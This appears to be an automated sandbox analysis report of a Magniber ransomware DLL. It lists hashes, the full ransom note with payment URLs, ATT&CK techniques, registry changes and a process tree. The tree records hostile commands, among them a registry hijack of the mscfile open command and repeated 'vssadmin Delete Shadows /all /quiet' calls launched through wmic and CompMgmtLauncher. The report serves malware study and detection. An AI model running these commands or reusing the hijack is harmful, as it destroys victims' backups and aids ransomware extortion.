magniber | 36417f0ea6d948cbd7e003b3cefbb603d886849a8c80e0999c7969b03f2b9c28

Analysis

max time kernel
102s
max time network
107s
platform
windows7_x64
resource
win7v20210410
submitted
23/08/2021, 15:14

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General

Target

c17ec37e0515fa380687c26cfb69b4d3.dll
Size

21KB
MD5

c17ec37e0515fa380687c26cfb69b4d3
SHA1

44ecf08588032a481dd69f3e94626682b631d0c5
SHA256

36417f0ea6d948cbd7e003b3cefbb603d886849a8c80e0999c7969b03f2b9c28
SHA512

4895fb9633cf923e937a66fa36f3586dbb178ca94b7df2d5ce8aac82af752a035f85b14ed2aa6714d2d6fdbbb3826c6ad5be95d2a44dbe2e3405cb6ee1bde156

Score

10^/10

magniber ransomware

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\readme.txt

Family

magniber

Ransom Note

ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED! ==================================================================================================== Your files are NOT damaged! Your files are modified only. This modification is reversible. The only 1 way to decrypt your files is to receive the private key and decryption program. Any attempts to restore your files with the third party software will be fatal for your files! ==================================================================================================== To receive the private key and decryption program follow the instructions below: 1. Download "Tor Browser" from https://www.torproject.org/ and install it. 2. In the "Tor Browser" open your personal page here: http://e2bcb4e05ed008e00zarkzonn.xurvsjipiyubcsta.onion/zarkzonn Note! This page is available via "Tor Browser" only. ==================================================================================================== Also you can use temporary addresses on your personal page without using "Tor Browser": http://e2bcb4e05ed008e00zarkzonn.tankmy.space/zarkzonn http://e2bcb4e05ed008e00zarkzonn.gorise.uno/zarkzonn http://e2bcb4e05ed008e00zarkzonn.laygive.site/zarkzonn http://e2bcb4e05ed008e00zarkzonn.loglook.club/zarkzonn Note! These are temporary addresses! They will be available for a limited amount of time!

URLs

http://e2bcb4e05ed008e00zarkzonn.xurvsjipiyubcsta.onion/zarkzonn

http://e2bcb4e05ed008e00zarkzonn.tankmy.space/zarkzonn

http://e2bcb4e05ed008e00zarkzonn.gorise.uno/zarkzonn

http://e2bcb4e05ed008e00zarkzonn.laygive.site/zarkzonn

http://e2bcb4e05ed008e00zarkzonn.loglook.club/zarkzonn

Signatures

Magniber Ransomware
Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.
ransomware magniber

Process spawned unexpected child process 8 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1312	1720	cmd.exe	45
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2056	1720	cmd.exe	45
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2024	1720	cmd.exe	45
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2088	1720	cmd.exe	45
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2528	1720	vssadmin.exe	45
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2536	1720	vssadmin.exe	45
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2608	1720	vssadmin.exe	45
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2644	1720	vssadmin.exe	45

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Modifies extensions of user files 5 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

description	ioc	Process
File renamed	C:\Users\Admin\Pictures\CompressEnter.crw => C:\Users\Admin\Pictures\CompressEnter.crw.zarkzonn	taskhost.exe
File renamed	C:\Users\Admin\Pictures\MoveInstall.png => C:\Users\Admin\Pictures\MoveInstall.png.zarkzonn	taskhost.exe
File renamed	C:\Users\Admin\Pictures\MoveRequest.tif => C:\Users\Admin\Pictures\MoveRequest.tif.zarkzonn	taskhost.exe
File opened for modification	C:\Users\Admin\Pictures\UseUpdate.tiff	taskhost.exe
File renamed	C:\Users\Admin\Pictures\UseUpdate.tiff => C:\Users\Admin\Pictures\UseUpdate.tiff.zarkzonn	taskhost.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 368 set thread context of 1116	368	rundll32.exe	12
PID 368 set thread context of 1156	368	rundll32.exe	16
PID 368 set thread context of 1176	368	rundll32.exe	15

Interacts with shadow copies 2 TTPs 4 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

pid	Process
2528	vssadmin.exe
2536	vssadmin.exe
2608	vssadmin.exe
2644	vssadmin.exe

Modifies Internet Explorer settings 1 TTPs 36 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "336496478"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000b8cf8c6cb3c16047ab632c9e74f04c280000000002000000000010660000000100002000000026e99650a0478344139e337c884020bcb3ffb045a1f450579666ad94df802cd6000000000e80000000020000200000007548ef9fa0c0468b3b1a607e6499931aafe89720ba98447eec424893bc769daf90000000bdd6e3e3685d187f1623902f5c0a89554286af49b0ae23dbd832075c34deb324042673912dcba8babbb00dcb06d94285d4ca38fc531e5417ffa9a1d8e87bbaa609a157c55d6899d114c48c1fd6508c6dfb1a560d77516ff69f9b0d2998ca02c428004f98734d88389e2627abe2715d04ddf04ce8550c6266d381f6ceb3c2f0c6363fa3d4f39e3c927e0c047a2c534eef4000000018e3347bc9996a296cf1128906b29ffff6e2a14581a033b8a48d02c90832f22eb5268fe4c737c1be8ab64d981c254390bfcfb31fcb0e9107a3eacc5912c30bc0	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = d01fc9443198d701	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{6C5DFC11-0424-11EC-8528-FAFEA7710D2E} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000b8cf8c6cb3c16047ab632c9e74f04c28000000000200000000001066000000010000200000009bcfd69d088b7d0798201ee1c64e31cbccd7baf51d1e446d79d2d33dc12aeb84000000000e800000000200002000000090549e0a64daf6a6fb6cf5a1f1374ad07d5bae122c1cc2577cd0c7bced00963f2000000052e5301ade0c2945126e1eb1e8db5896a012985a65d0fc5aba7fb280c5dbf820400000009d940009cde579c8cc07a5fbe694178240a13d14204d5fe0d5afe0a56b03e76cc5a7e0f9a903f7efe0de258f027da3f029cf0051a527b8c0abef2908f6d6869c	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe

Modifies registry class 11 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open	taskhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command	Dwm.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Dwm.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command	rundll32.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
2008	notepad.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
368	rundll32.exe
368	rundll32.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
368	rundll32.exe
368	rundll32.exe
368	rundll32.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1176	Explorer.EXE
Token: SeShutdownPrivilege	1176	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	2040	WMIC.exe
Token: SeSecurityPrivilege	2040	WMIC.exe
Token: SeTakeOwnershipPrivilege	2040	WMIC.exe
Token: SeLoadDriverPrivilege	2040	WMIC.exe
Token: SeSystemProfilePrivilege	2040	WMIC.exe
Token: SeSystemtimePrivilege	2040	WMIC.exe
Token: SeProfSingleProcessPrivilege	2040	WMIC.exe
Token: SeIncBasePriorityPrivilege	2040	WMIC.exe
Token: SeCreatePagefilePrivilege	2040	WMIC.exe
Token: SeBackupPrivilege	2040	WMIC.exe
Token: SeRestorePrivilege	2040	WMIC.exe
Token: SeShutdownPrivilege	2040	WMIC.exe
Token: SeDebugPrivilege	2040	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2040	WMIC.exe
Token: SeRemoteShutdownPrivilege	2040	WMIC.exe
Token: SeUndockPrivilege	2040	WMIC.exe
Token: SeManageVolumePrivilege	2040	WMIC.exe
Token: 33	2040	WMIC.exe
Token: 34	2040	WMIC.exe
Token: 35	2040	WMIC.exe
Token: SeShutdownPrivilege	1176	Explorer.EXE
Token: SeShutdownPrivilege	1176	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	540	WMIC.exe
Token: SeSecurityPrivilege	540	WMIC.exe
Token: SeTakeOwnershipPrivilege	540	WMIC.exe
Token: SeLoadDriverPrivilege	540	WMIC.exe
Token: SeSystemProfilePrivilege	540	WMIC.exe
Token: SeSystemtimePrivilege	540	WMIC.exe
Token: SeProfSingleProcessPrivilege	540	WMIC.exe
Token: SeIncBasePriorityPrivilege	540	WMIC.exe
Token: SeCreatePagefilePrivilege	540	WMIC.exe
Token: SeBackupPrivilege	540	WMIC.exe
Token: SeRestorePrivilege	540	WMIC.exe
Token: SeShutdownPrivilege	540	WMIC.exe
Token: SeDebugPrivilege	540	WMIC.exe
Token: SeSystemEnvironmentPrivilege	540	WMIC.exe
Token: SeRemoteShutdownPrivilege	540	WMIC.exe
Token: SeUndockPrivilege	540	WMIC.exe
Token: SeManageVolumePrivilege	540	WMIC.exe
Token: 33	540	WMIC.exe
Token: 34	540	WMIC.exe
Token: 35	540	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1140	WMIC.exe
Token: SeSecurityPrivilege	1140	WMIC.exe
Token: SeTakeOwnershipPrivilege	1140	WMIC.exe
Token: SeLoadDriverPrivilege	1140	WMIC.exe
Token: SeSystemProfilePrivilege	1140	WMIC.exe
Token: SeSystemtimePrivilege	1140	WMIC.exe
Token: SeProfSingleProcessPrivilege	1140	WMIC.exe
Token: SeIncBasePriorityPrivilege	1140	WMIC.exe
Token: SeCreatePagefilePrivilege	1140	WMIC.exe
Token: SeBackupPrivilege	1140	WMIC.exe
Token: SeRestorePrivilege	1140	WMIC.exe
Token: SeShutdownPrivilege	1140	WMIC.exe
Token: SeDebugPrivilege	1140	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1140	WMIC.exe
Token: SeRemoteShutdownPrivilege	1140	WMIC.exe
Token: SeUndockPrivilege	1140	WMIC.exe
Token: SeManageVolumePrivilege	1140	WMIC.exe
Token: 33	1140	WMIC.exe
Token: 34	1140	WMIC.exe
Token: 35	1140	WMIC.exe

Suspicious use of FindShellTrayWindow 6 IoCs

pid	Process
1176	Explorer.EXE
1572	iexplore.exe
1176	Explorer.EXE
1176	Explorer.EXE
1176	Explorer.EXE
1176	Explorer.EXE

Suspicious use of SendNotifyMessage 6 IoCs

pid	Process
1176	Explorer.EXE
1176	Explorer.EXE
1176	Explorer.EXE
1176	Explorer.EXE
1176	Explorer.EXE
1176	Explorer.EXE

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
1572	iexplore.exe
1572	iexplore.exe
1684	IEXPLORE.EXE
1684	IEXPLORE.EXE
1684	IEXPLORE.EXE
1684	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 61 IoCs

description	pid	Process	procid_target
PID 1116 wrote to memory of 2008	1116	taskhost.exe	26
PID 1116 wrote to memory of 2008	1116	taskhost.exe	26
PID 1116 wrote to memory of 2008	1116	taskhost.exe	26
PID 1116 wrote to memory of 1768	1116	taskhost.exe	27
PID 1116 wrote to memory of 1768	1116	taskhost.exe	27
PID 1116 wrote to memory of 1768	1116	taskhost.exe	27
PID 1116 wrote to memory of 1844	1116	taskhost.exe	28
PID 1116 wrote to memory of 1844	1116	taskhost.exe	28
PID 1116 wrote to memory of 1844	1116	taskhost.exe	28
PID 1844 wrote to memory of 2040	1844	cmd.exe	31
PID 1844 wrote to memory of 2040	1844	cmd.exe	31
PID 1844 wrote to memory of 2040	1844	cmd.exe	31
PID 1156 wrote to memory of 1404	1156	Dwm.exe	33
PID 1156 wrote to memory of 1404	1156	Dwm.exe	33
PID 1156 wrote to memory of 1404	1156	Dwm.exe	33
PID 1176 wrote to memory of 1584	1176	Explorer.EXE	35
PID 1176 wrote to memory of 1584	1176	Explorer.EXE	35
PID 1176 wrote to memory of 1584	1176	Explorer.EXE	35
PID 1768 wrote to memory of 1572	1768	cmd.exe	36
PID 1768 wrote to memory of 1572	1768	cmd.exe	36
PID 1768 wrote to memory of 1572	1768	cmd.exe	36
PID 368 wrote to memory of 412	368	rundll32.exe	37
PID 368 wrote to memory of 412	368	rundll32.exe	37
PID 368 wrote to memory of 412	368	rundll32.exe	37
PID 1404 wrote to memory of 540	1404	cmd.exe	38
PID 1404 wrote to memory of 540	1404	cmd.exe	38
PID 1404 wrote to memory of 540	1404	cmd.exe	38
PID 412 wrote to memory of 1140	412	cmd.exe	42
PID 412 wrote to memory of 1140	412	cmd.exe	42
PID 412 wrote to memory of 1140	412	cmd.exe	42
PID 1584 wrote to memory of 1556	1584	cmd.exe	41
PID 1584 wrote to memory of 1556	1584	cmd.exe	41
PID 1584 wrote to memory of 1556	1584	cmd.exe	41
PID 1572 wrote to memory of 1684	1572	iexplore.exe	46
PID 1572 wrote to memory of 1684	1572	iexplore.exe	46
PID 1572 wrote to memory of 1684	1572	iexplore.exe	46
PID 1572 wrote to memory of 1684	1572	iexplore.exe	46
PID 2024 wrote to memory of 2156	2024	cmd.exe	57
PID 2024 wrote to memory of 2156	2024	cmd.exe	57
PID 2024 wrote to memory of 2156	2024	cmd.exe	57
PID 2056 wrote to memory of 2184	2056	cmd.exe	58
PID 2056 wrote to memory of 2184	2056	cmd.exe	58
PID 2056 wrote to memory of 2184	2056	cmd.exe	58
PID 2088 wrote to memory of 2192	2088	cmd.exe	60
PID 2088 wrote to memory of 2192	2088	cmd.exe	60
PID 2088 wrote to memory of 2192	2088	cmd.exe	60
PID 1312 wrote to memory of 2200	1312	cmd.exe	59
PID 1312 wrote to memory of 2200	1312	cmd.exe	59
PID 1312 wrote to memory of 2200	1312	cmd.exe	59
PID 2184 wrote to memory of 2308	2184	CompMgmtLauncher.exe	61
PID 2184 wrote to memory of 2308	2184	CompMgmtLauncher.exe	61
PID 2184 wrote to memory of 2308	2184	CompMgmtLauncher.exe	61
PID 2156 wrote to memory of 2324	2156	CompMgmtLauncher.exe	63
PID 2156 wrote to memory of 2324	2156	CompMgmtLauncher.exe	63
PID 2156 wrote to memory of 2324	2156	CompMgmtLauncher.exe	63
PID 2192 wrote to memory of 2360	2192	CompMgmtLauncher.exe	65
PID 2192 wrote to memory of 2360	2192	CompMgmtLauncher.exe	65
PID 2192 wrote to memory of 2360	2192	CompMgmtLauncher.exe	65
PID 2200 wrote to memory of 2492	2200	CompMgmtLauncher.exe	67
PID 2200 wrote to memory of 2492	2200	CompMgmtLauncher.exe	67
PID 2200 wrote to memory of 2492	2200	CompMgmtLauncher.exe	67

C:\Windows\system32\taskhost.exe
"taskhost.exe"
1⤵
- Modifies extensions of user files
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1116
- C:\Windows\system32\notepad.exe
  notepad.exe C:\Users\Public\readme.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:2008
- C:\Windows\system32\cmd.exe
  cmd /c "start http://e2bcb4e05ed008e00zarkzonn.tankmy.space/zarkzonn^&1^&59005328^&74^&301^&12"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1768
- - C:\Program Files\Internet Explorer\iexplore.exe
    "C:\Program Files\Internet Explorer\iexplore.exe" http://e2bcb4e05ed008e00zarkzonn.tankmy.space/zarkzonn&1&59005328&74&301&12
    3⤵
    - Modifies Internet Explorer settings
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:1572
  - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1572 CREDAT:275457 /prefetch:2
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of SetWindowsHookEx
      PID:1684
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1844
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2040

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1176
- C:\Windows\system32\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\c17ec37e0515fa380687c26cfb69b4d3.dll,#1
  2⤵
  - Suspicious use of SetThreadContext
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:368
- - C:\Windows\system32\cmd.exe
    cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:412
  - - C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1140
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1584
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    PID:1556

C:\Windows\system32\Dwm.exe
"C:\Windows\system32\Dwm.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1156
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1404
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:540

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1312
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2200
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2492

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2056
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2184
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2308

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2024
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2156
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2324

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2088
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2192
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2360

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2528

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2536

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2608

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2644

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:2716

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File Deletion

T1107

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

memory/368-68-0x0000000001C80000-0x0000000001C81000-memory.dmp

Filesize
4KB

Download
memory/368-70-0x0000000001CA0000-0x0000000001CA1000-memory.dmp

Filesize
4KB

Download
memory/368-74-0x0000000001FB0000-0x0000000001FB1000-memory.dmp

Filesize
4KB

Download
memory/368-61-0x0000000000280000-0x0000000000281000-memory.dmp

Filesize
4KB

Download
memory/368-102-0x0000000001FD0000-0x0000000001FD1000-memory.dmp

Filesize
4KB

Download
memory/368-71-0x0000000001D30000-0x0000000001D31000-memory.dmp

Filesize
4KB

Download
memory/368-69-0x0000000001C90000-0x0000000001C91000-memory.dmp

Filesize
4KB

Download
memory/368-62-0x0000000000290000-0x0000000000291000-memory.dmp

Filesize
4KB

Download
memory/368-67-0x0000000001C50000-0x0000000001C51000-memory.dmp

Filesize
4KB

Download
memory/368-66-0x0000000001C40000-0x0000000001C41000-memory.dmp

Filesize
4KB

Download
memory/368-65-0x0000000001C30000-0x0000000001C31000-memory.dmp

Filesize
4KB

Download
memory/368-64-0x0000000001C20000-0x0000000001C21000-memory.dmp

Filesize
4KB

Download
memory/368-63-0x0000000001C10000-0x0000000001C11000-memory.dmp

Filesize
4KB

Download
memory/1116-72-0x0000000001BC0000-0x0000000001BC4000-memory.dmp

Filesize
16KB

Download
memory/1176-60-0x0000000002C30000-0x0000000002C40000-memory.dmp

Filesize
64KB

Download
